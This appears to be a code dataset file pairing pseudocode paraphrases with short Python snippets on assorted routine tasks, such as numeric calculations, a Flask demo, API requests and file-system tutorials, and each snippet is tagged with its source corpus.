def _VerifyRecord(self, pls_record): """Verifies a PLS Recall record. Args: pls_record (pls_recall_record): a PLS Recall record to verify. Returns: bool: True if this is a valid PLS Recall record, False otherwise. """ # Verify that the timestamp is no more than six years into the futur...
Python
jtatman_500k
function total_velocity self begin return square root call square vx + call square vy + call square vz end function
def total_velocity(self): return np.sqrt(np.square(self.vx) + np.square(self.vy) + np.square(self.vz))
Python
nomic_cornstack_python_v1
function calculate_frechet_distance mu1 sigma1 mu2 sigma2 eps=1e-06 begin set mu1 = call atleast_1d mu1 set mu2 = call atleast_1d mu2 set sigma1 = call atleast_2d sigma1 set sigma2 = call atleast_2d sigma2 assert shape == shape msg string Training and test mean vectors have different lengths assert shape == shape msg s...
def calculate_frechet_distance(mu1, sigma1, mu2, sigma2, eps=1e-6): mu1 = np.atleast_1d(mu1) mu2 = np.atleast_1d(mu2) sigma1 = np.atleast_2d(sigma1) sigma2 = np.atleast_2d(sigma2) assert mu1.shape == mu2.shape, "Training and test mean vectors have different lengths" assert sigma1.shape == sig...
Python
nomic_cornstack_python_v1
comment ------------------------------------------------------------------------------ # comment @Author: F. Paul Spitzner comment @Email: paul.spitzner@ds.mpg.de comment @Created: 2020-04-20 18:50:13 comment @Last Modified: 2020-11-24 13:00:10 comment -------------------------------------------------------------------...
# ------------------------------------------------------------------------------ # # @Author: F. Paul Spitzner # @Email: paul.spitzner@ds.mpg.de # @Created: 2020-04-20 18:50:13 # @Last Modified: 2020-11-24 13:00:10 # ------------------------------------------------------------------------------ # #...
Python
zaydzuhri_stack_edu_python
function eclosure states begin set states = set states set frontier = set states while length frontier > 0 begin set lstate = pop frontier for rstate in transitions at lstate at tuple begin if rstate not in states begin add states rstate add frontier rstate end end end return states end function
def eclosure(states): states = set(states) frontier = set(states) while len(frontier) > 0: lstate = frontier.pop() for rstate in transitions[lstate][()]: if rstate not in states: states.add(rstate) frontier.add(rstat...
Python
nomic_cornstack_python_v1
comment 조이스틱 (https://programmers.co.kr/learn/courses/30/lessons/42860) 탐욕법 string 포기... 탐욕법 - 매순간 최적의 결정 (하지만 항상 최적의 결과는 아님) - 조건 1) <탐욕스러운 선택 조건 (Greedy choice property)> 앞의 선택이 이후의 선택에 영향을 주지 않는 조건. 2) <최적 부분 구조 조건(Optimal Substructure)> 문제에 대한 최종 해결 방법이 부분 문제에 대해서도 또한 최적 문제 해결 방법이다는 조건. 상하 관점의 최소값, 좌우 관점의 최소값 고려가 필...
# 조이스틱 (https://programmers.co.kr/learn/courses/30/lessons/42860) 탐욕법 ''' 포기... 탐욕법 - 매순간 최적의 결정 (하지만 항상 최적의 결과는 아님) - 조건 1) <탐욕스러운 선택 조건 (Greedy choice property)> 앞의 선택이 이후의 선택에 영향을 주지 않는 조건. 2) <최적 부분 구조 조건(Optimal Substructure)> 문제에 대한 최종 해결 방법이 부분 문제에 대해서도 또...
Python
zaydzuhri_stack_edu_python
function email_classification email begin set email_type = string if string ShippingConfirmation in email begin set email_type = string Shipping Confirmation end else if string Subscriber in email begin set email_type = string Subscriber end else if string CommentResponse in email begin set email_type = string Comment...
def email_classification(email): email_type = "" if 'ShippingConfirmation' in email: email_type = 'Shipping Confirmation' elif 'Subscriber' in email: email_type = 'Subscriber' elif 'CommentResponse' in email: email_type = 'Comment Response' else: email_type = 'Unknown...
Python
flytech_python_25k
import datetime import decimal class Book begin function __init__ self begin set incomes = list set outcomes = list set alias = dict string CB string calculate_balance ; string AI string add_income ; string AO string add_outcome ; string CI string calculate_income ; string CO string calculate_outcome end function fun...
import datetime import decimal class Book: def __init__(self): self.incomes = [] self.outcomes = [] self.alias = {"CB": "calculate_balance", "AI": "add_income", "AO": "add_outcome", "CI": "calculate_income", "CO": "calculate_outcome"} def add_income(self, _type, ...
Python
zaydzuhri_stack_edu_python
function run self nmpi=1 nomp=1 force_run=false dry_run=false begin comment Update the BigDFT command with mpi, if necessary if integer nmpi > 1 begin set command = list string mpirun string -np string nmpi + command end comment Set the environment for OpenMP if integer nomp > 1 begin set environ at string OMP_NUM_THRE...
def run(self, nmpi=1, nomp=1, force_run=False, dry_run=False): # Update the BigDFT command with mpi, if necessary if int(nmpi) > 1: self.command = ['mpirun', '-np', str(nmpi)] + self.command # Set the environment for OpenMP if int(nomp) > 1: os.environ["OMP_NUM_T...
Python
nomic_cornstack_python_v1
function get_user_details self response begin set email = get response string email string set tuple fullname first_name last_name = call get_user_names first_name=response at string first_name last_name=response at string last_name return dict string username first_name + last_name ; string fullname fullname ; string ...
def get_user_details(self, response): email = response.get("email", "") fullname, first_name, last_name = self.get_user_names( first_name=response["first_name"], last_name=response["last_name"] ) return { "username": first_name + last_name, "fullname":...
Python
nomic_cornstack_python_v1
function test_api_v1_policies_compliance_ci_images_put self begin pass end function
def test_api_v1_policies_compliance_ci_images_put(self): pass
Python
nomic_cornstack_python_v1
function search_cars self image region_of_interest=none sequence=true visualize=false begin if visualize begin comment note: format for visualize_img is BGR set visualize_img = copy np image end set heatmap = zeros shape at slice : 2 : dtype=float for scale in searching_scales begin set boxes = call search_for_matche...
def search_cars(self, image, region_of_interest=None, sequence=True, visualize=False): if visualize: # note: format for visualize_img is BGR visualize_img = np.copy(image) heatmap = np.zeros(image.shape[:2], dtype=np.float) for scale in self.searching_scales: ...
Python
nomic_cornstack_python_v1
from flask import Flask set app = call Flask __name__ decorator call route string / function hello_world begin return string Hello World! end function decorator call route string /dojo function success begin return string Dojo! end function decorator call route string /say/<name> function show_user_profile name begin r...
from flask import Flask app = Flask(__name__) @app.route('/') def hello_world(): return "Hello World!" @app.route("/dojo") def success(): return "Dojo!" @app.route("/say/<name>") def show_user_profile(name): return "Hi "+ name + "!" @app.route("/repeat/<num>/<word>") def repeat_after_me(num,wo...
Python
zaydzuhri_stack_edu_python
comment python 3.3 set __author__ = string purplebear class FileIO extends object begin string Utility to interact with input/output files. function __init__ self input_filename=string input.txt output_filename=string output.txt begin string set the input and output file names. set _input = input_filename set _output =...
#python 3.3 __author__ = 'purplebear' class FileIO(object): """ Utility to interact with input/output files. """ def __init__(self, input_filename='input.txt', output_filename='output.txt'): """ set the input and output file names. """ self._input = input_filename ...
Python
zaydzuhri_stack_edu_python
function get_idx_from_sent self sent word_idx_map max_l=45 k=300 filter_h=5 begin set x = list set pad = filter_h - 1 comment for i in xrange(pad): comment x.append(0) set words = split sent for word in words begin if word in word_idx_map begin append x word_idx_map at word if length x == max_l + pad begin break end e...
def get_idx_from_sent(self, sent, word_idx_map, max_l=45, k=300, filter_h=5): x = [] pad = filter_h - 1 # for i in xrange(pad): # x.append(0) words = sent.split() for word in words: if word in word_idx_map: x.append(word_idx_map[word]) ...
Python
nomic_cornstack_python_v1
function __init__ self begin set data = list set mini_data = list inf end function
def __init__(self): self.data = [] self.mini_data = [math.inf]
Python
nomic_cornstack_python_v1
function update_gist self payload begin set url = ENDPOINT_GIST % identifier set headers = dict string Content-type APPLICATION_JSON set data_json = dumps payload indent=2 if basic_auth begin return patch url data=data_json headers=headers auth=tuple username credential end else begin set params = dict string access_to...
def update_gist(self, payload): url = self.ENDPOINT_GIST % payload.identifier headers = {'Content-type': self.APPLICATION_JSON} data_json = json.dumps(payload, indent=2) if self.basic_auth: return requests.patch(url, data=data_json, headers=headers, ...
Python
nomic_cornstack_python_v1
import os comment os.remove("testDel") comment if os.path.exists("testDel"): comment os.remove("testDel") comment print("Deleted the file!") comment else: comment print("The file does not exist!") comment os.mkdir("testDir") comment print("Directory created!") comment os.makedirs("a/b/c") comment print("Made a, b, c di...
import os # os.remove("testDel") # if os.path.exists("testDel"): # os.remove("testDel") # print("Deleted the file!") # else: # print("The file does not exist!") # os.mkdir("testDir") # print("Directory created!") # os.makedirs("a/b/c") # print("Made a, b, c directories") # os.rmdir("testDir") # print("D...
Python
zaydzuhri_stack_edu_python
function from_json text message_type begin set msg = call message_type try begin parse json_format text msg end except ParseError as e begin raise call ParseError string e end return msg end function
def from_json(text: str, message_type): msg = message_type() try: json_format.Parse(text, msg) except json_format.ParseError as e: raise ParseError(str(e)) return msg
Python
nomic_cornstack_python_v1
import papis import os import sys import papis.utils import papis.downloaders.utils class List extends Command begin function init self begin set parser = call add_parser string list help=string List documents from a given library call add_argument string document help=string Document search default=string nargs=strin...
import papis import os import sys import papis.utils import papis.downloaders.utils class List(papis.commands.Command): def init(self): self.parser = self.get_subparsers().add_parser( "list", help="List documents from a given library" ) self.parser.add_argument( ...
Python
zaydzuhri_stack_edu_python
function detail_place_info self place_id=none begin set endpoint = string https://maps.googleapis.com/maps/api/place/details/json set params = dict string place_id string { place_id } ; string fields string formatted_address,name,rating,formatted_phone_number ; string key api_key return call response endpoint params en...
def detail_place_info(self, place_id=None): endpoint = "https://maps.googleapis.com/maps/api/place/details/json" params = { 'place_id': f'{place_id}', 'fields': 'formatted_address,name,rating,formatted_phone_number', 'key': self.api_key } return self....
Python
nomic_cornstack_python_v1
comment Given nums = [0,1,2,2,3,0,4,2], val = 2, comment Your function should return length = 5, with the first five elements of nums comment containing 0, 1, 3, 0, and 4. comment Note that the order of those five elements can be arbitrary. comment It doesn't matter what values are set beyond the returned length. funct...
# Given nums = [0,1,2,2,3,0,4,2], val = 2, # Your function should return length = 5, with the first five elements of nums # containing 0, 1, 3, 0, and 4. # Note that the order of those five elements can be arbitrary. # It doesn't matter what values are set beyond the returned length. def removeElement(arr, ele): ...
Python
zaydzuhri_stack_edu_python
function test__linted_file__generate_source_patches tree templated_file expected_result caplog begin with call at_level DEBUG logger=string sqlfluff.linter begin set result = call _generate_source_patches tree templated_file end assert result == expected_result end function
def test__linted_file__generate_source_patches( tree, templated_file, expected_result, caplog ): with caplog.at_level(logging.DEBUG, logger="sqlfluff.linter"): result = LintedFile._generate_source_patches(tree, templated_file) assert result == expected_result
Python
nomic_cornstack_python_v1
function _setHeaders self begin if not headers_set begin set headers_set = 1 for key in keys headers_out begin call setHeader key headers_out at key end call setContentType content_type end end function
def _setHeaders(self): if not self.headers_set: self.headers_set = 1 for key in self.headers_out.keys(): self._response.setHeader(key, self.headers_out[key]) self._response.setContentType(self.content_type)
Python
nomic_cornstack_python_v1
function _create_zone_on_target self context target zone begin debug string Creating zone %s on target %s name id set backend = target_backends at id set retries = 0 while retries < max_retries begin try begin call create_zone context zone return true end except Exception begin set retries = retries + 1 exception call ...
def _create_zone_on_target(self, context, target, zone): LOG.debug("Creating zone %s on target %s", zone.name, target.id) backend = self.target_backends[target.id] retries = 0 while retries < self.max_retries: try: backend.create_zone(context, zone) ...
Python
nomic_cornstack_python_v1
function terminate self begin string Terminates the processes right now with a SIGTERM for process in list processes begin call send_signal SIGTERM end call stop_watch end function
def terminate(self): """ Terminates the processes right now with a SIGTERM """ for process in list(self.processes): process["subprocess"].send_signal(signal.SIGTERM) self.stop_watch()
Python
jtatman_500k
function notify_all self subscribers topic message begin set notified_all = true for subscriber in subscribers begin if not notify self subscriber topic message begin set notified_all = false end end return notified_all end function
def notify_all(self, subscribers, topic, message): notified_all = True for subscriber in subscribers: if not self.notify(subscriber, topic, message): notified_all = False return notified_all
Python
nomic_cornstack_python_v1
import heapq function solution N M mat begin comment cost, from set keys = list comprehension list 1001 - 1 for _ in range N + 1 set visited = list 0 * N + 1 set keys at 1 = list 0 1 set keys at 0 = list 0 0 set adj_dict = dict for tuple a b c in mat begin if a not in adj_dict begin set adj_dict at a = dict set adj_d...
import heapq def solution(N,M,mat): keys = [[1001, -1] for _ in range(N+1)] # cost, from visited = [0] * (N+1) keys[1] = [0,1] keys[0] = [0,0] adj_dict = {} for a,b,c in mat: if a not in adj_dict: adj_dict[a] = {} adj_dict[a][b] = c else: adj_...
Python
zaydzuhri_stack_edu_python
string Pull All Youtube Videos from a Playlist from apiclient.discovery import build from apiclient.errors import HttpError from oauth2client.tools import argparser import api_key , json set DEVELOPER_KEY = api_key set YOUTUBE_API_SERVICE_NAME = string youtube set YOUTUBE_API_VERSION = string v3 function fetch_all_yout...
""" Pull All Youtube Videos from a Playlist """ from apiclient.discovery import build from apiclient.errors import HttpError from oauth2client.tools import argparser import api_key, json DEVELOPER_KEY = api_key.api_key YOUTUBE_API_SERVICE_NAME = "youtube" YOUTUBE_API_VERSION = "v3" def fetch_all_youtube_videos(play...
Python
zaydzuhri_stack_edu_python
function calcAccuracy predMap trueMap begin comment TODO cloudyThreshold would presumably be determined by the tolerance comment LSST has for looking through clouds. I don't know that tolerance comment so I've arbitrarily set it set cloudyThreshold = 1000 set numTrueCloudy = size np where trueMap > cloudyThreshold at 0...
def calcAccuracy(predMap, trueMap): # TODO cloudyThreshold would presumably be determined by the tolerance # LSST has for looking through clouds. I don't know that tolerance # so I've arbitrarily set it cloudyThreshold = 1000 numTrueCloudy = np.size(np.where(trueMap > cloudyThreshold)[0]) numTr...
Python
nomic_cornstack_python_v1
function get_probability self word begin if length word == 0 begin return 0.0 end call _check_is_legal_word word alphabet_size set result = 1.0 set current_state = initial_state for character in word begin if current_state is none begin return 0.0 end set tuple next_state probability = get get transition_dict current_s...
def get_probability(self, word: Word): if len(word) == 0: return 0.0 _check_is_legal_word(word, self.alphabet_size) result = 1.0 current_state = self.initial_state for character in word: if current_state is None: return 0.0 ne...
Python
nomic_cornstack_python_v1
function testLookup self begin set table = call lookupName string eft.catsforeignkey set field = call lookupName string chasedby set other = call lookupName foreignTable end function
def testLookup( self ): table = cats.lookupName( 'eft.catsforeignkey' ) field = table.lookupName( 'chasedby' ) other = cats.lookupName( field.foreign().foreignTable )
Python
nomic_cornstack_python_v1
function add_replication_hops self content begin update replication_hops list content at string content end function
def add_replication_hops(self, content): self.model.replication_hops.update([content['content']])
Python
nomic_cornstack_python_v1
comment -*- coding: utf-8 -*- string Created on Sun Oct 18 22:05:01 2015 @author: Understand import operator function missingNumber nums begin string :type nums: List[int] :rtype: int comment n = len(nums) comment return n * (n + 1) / 2 - sum(nums) set a = reduce xor nums end function
# -*- coding: utf-8 -*- """ Created on Sun Oct 18 22:05:01 2015 @author: Understand """ import operator def missingNumber(nums): """ :type nums: List[int] :rtype: int """ # n = len(nums) # return n * (n + 1) / 2 - sum(nums) a = reduce(operator.xor, nums)
Python
zaydzuhri_stack_edu_python